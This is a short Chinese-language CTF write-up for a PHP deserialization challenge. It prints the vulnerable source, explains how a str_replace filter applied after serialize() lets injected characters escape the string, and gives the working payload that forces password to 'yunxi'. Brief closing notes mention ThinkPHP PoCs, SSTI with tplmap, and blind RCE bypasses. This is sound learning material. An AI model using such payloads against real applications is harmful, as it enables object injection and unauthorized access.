serialize
代码审计,给1传参,满足password的值为yunxi,那么反序列化前就会执行__wakeup函数,从而得到flag.php,但是password的值被定死为1,利用PHP反序列化的字符逃逸:
<?php
error_reporting(0);
highlight_file(__file__);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yunxi')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}function filter($string){
return str_replace('ctf','hello1',$string);
}$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
wrong password
第一次接触,先了解一下它:PHP反序列化字符串逃逸
此类题目的本质就是改变序列化字符串的长度,导致反序列化漏洞
此类题有两个共同点:
1.php序列化后的字符串经过了替换或者修改,导致字符串长度发生变化。
2.总是先进行序列化,再进行替换修改操作。
把源码扒下来在本地phpstudy调试一下:
理想序列化:O:1:"a":2:{s:5:"uname";i:1;s:8:"password";s:5:"yunxi";}
现实序列化:O:1:"a":2:{s:5:"uname";s:32:"hello1";s:8:"password";s:5:"yunxi"}";s:8:"password";i:1;}
需要构造字符逃逸";s:8:"password";s:5:"yunxi";}闭合前面的"、{,让后面的password=1无法被提取。
";s:8:"password";s:5:"yunxi";}这一串字符串长度为30,存在str_replace将“ctf”替换成“hello1”,使字符串长度增加3:
function filter($string){
return str_replace('ctf','hello1',$string);
}
写10个“ctf”就可以构造30字符:
ctfctfctfctfctfctfctfctfctfctf";s:8:"password";s:5:"yunxi";}
1
得到flag:
1. 涉及到的think php的漏洞直接在网上找poc就可以得到flag
2.师姐新学的搭网站-ssti注入,可以确认之后直接用tplmap一把唆,也可以纯手注,是jinja2模板
3.rce-是无回显注入 其中有大量的绕过
4.签到题涉及到bp爆破,因为有的页面是x..,爆破出来长度不一样